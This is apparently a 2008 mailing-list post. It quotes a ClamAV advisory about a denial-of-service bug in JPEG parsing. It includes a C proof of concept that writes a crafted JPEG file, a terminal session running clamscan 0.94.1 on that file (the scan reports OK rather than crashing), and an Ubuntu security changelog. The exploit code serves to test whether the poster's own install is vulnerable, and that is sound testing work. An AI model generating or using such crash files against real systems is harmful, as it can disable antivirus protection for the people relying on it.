[EMAIL PROTECTED]:~$ clamscan -V

ClamAV 0.94.1/8713/Tue Dec 2 14:59:31 2008



>From http://securitytracker.com/alerts/2008/Dec/1021296.html:



Version(s): prior to 0.94.2

Description: A vulnerability was reported in Clam AntiVirus. A remote user can 
cause denial of service conditions on the target system.



A remote user can create a specially crafted JPEG file that, when processed by 
the target system, will trigger a stack overflow and cause the Clam AntiVirus 
process to crash.



Ilja van Sprundel reported this vulnerability.

Impact: A remote user can create a JPEG file that, when processed by the target 
application, will cause the target application to crash.

Solution: The vendor has issued a fixed version (0.94.2).



The vendor's advisory is available at:



http://sourceforge.net/project/shownotes.php?group_id=86638&release_id=643134





Also reference @ https://wwws.clamav.net/bugzilla/show_bug.cgi?id=1266



[EMAIL PROTECTED]:~$ cat > clam.c

const char crashstr[] = "\xff\xd8" // jpg marker

"\xff\xed" // exif data

"\x00\x02" // length

"Photoshop 3.0\x00"

"8BIM"

"\x04\x0c" // thumbnail id

"\x00"

"\x01"

"\x01\x01\x01\x01"

"0123456789012345678912345678"; // skip over 28 bytes



#include

#include

#include



#define NR_ITER 200000



int main() {

FILE *fp;

int i;

fp = fopen("clamav-jpeg-crash.jpg", "w+");

if (!fp) {

printf("can't open/create file\n");

exit(0);

}

for (i = 0; i < NR_ITER; i++) {

fwrite(crashstr, sizeof(crashstr)-1/*don't want 0-byte ?*/, 1,

fp);

}

fclose(fp);

printf("done, now run clamscan on ./clamav-jpeg-crash.jpg\n");

exit(0);

}



[EMAIL PROTECTED]:~$ gcc -o clam clam.c

[EMAIL PROTECTED]:~$ ./clam

done, now run clamscan on ./clamav-jpeg-crash.jpg

[EMAIL PROTECTED]:~$ which clamscan

/usr/bin/clamscan

[EMAIL PROTECTED]:~$ /usr/bin/clamscan ./clamav-jpeg-crash.jpg

LibClamAV Warning: ***********************************************************

LibClamAV Warning: *** This version of the ClamAV engine is outdated. ***

LibClamAV Warning: *** DON'T PANIC! Read http://www.clamav.net/support/faq ***

LibClamAV Warning: ***********************************************************

./clamav-jpeg-crash.jpg: OK



----------- SCAN SUMMARY -----------

Known viruses: 469917

Engine version: 0.94.1

Scanned directories: 0

Scanned files: 1

Infected files: 0

Data scanned: 11.44 MB

Time: 2.238 sec (0 m 2 s)

[EMAIL PROTECTED]:~$



As of 12.02.2008:



clamav (0.94.dfsg.1-1ubuntu0.1) intrepid-security; urgency=low



* SECURITY UPDATE: (LP: #296704)

- Fix off-by-one heap overflow

* Other changes:

- debian/control: Recommends apparmor >= 2.1+1075-0ubuntu6 for

clamav-daemon and clamav-freshclam

- add debian/usr.bin.freshclam and debian/usr.sbin.clamd

- debian/clamav-(daemon|freshclam).dirs: add etc/apparmor.d/force-complain

- debian/clamav-(daemon|freshclam).install: install profiles

- debian/clamav-(daemon|freshclam).preinst: create symlink for

force-complain/ on pre-feisty upgrades, upgrades where apparmor-profiles

profile is unchanged (ie non-enforcing) and upgrades where the profile

doesn't exist.

- debian/clamav-(daemon|freshclam).postrm: remove symlink in

force-complain/ on purge.

- debian/clamav-(daemon|freshclam).postinst.in: reload apparmor

- update README.Debian with note on Apparmor

* Update apparmor profile for clamd to work with TCP sockets (LP: #288942)



-- Scott Kitterman Wed, 12 Nov 2008 15:20:49 -0500

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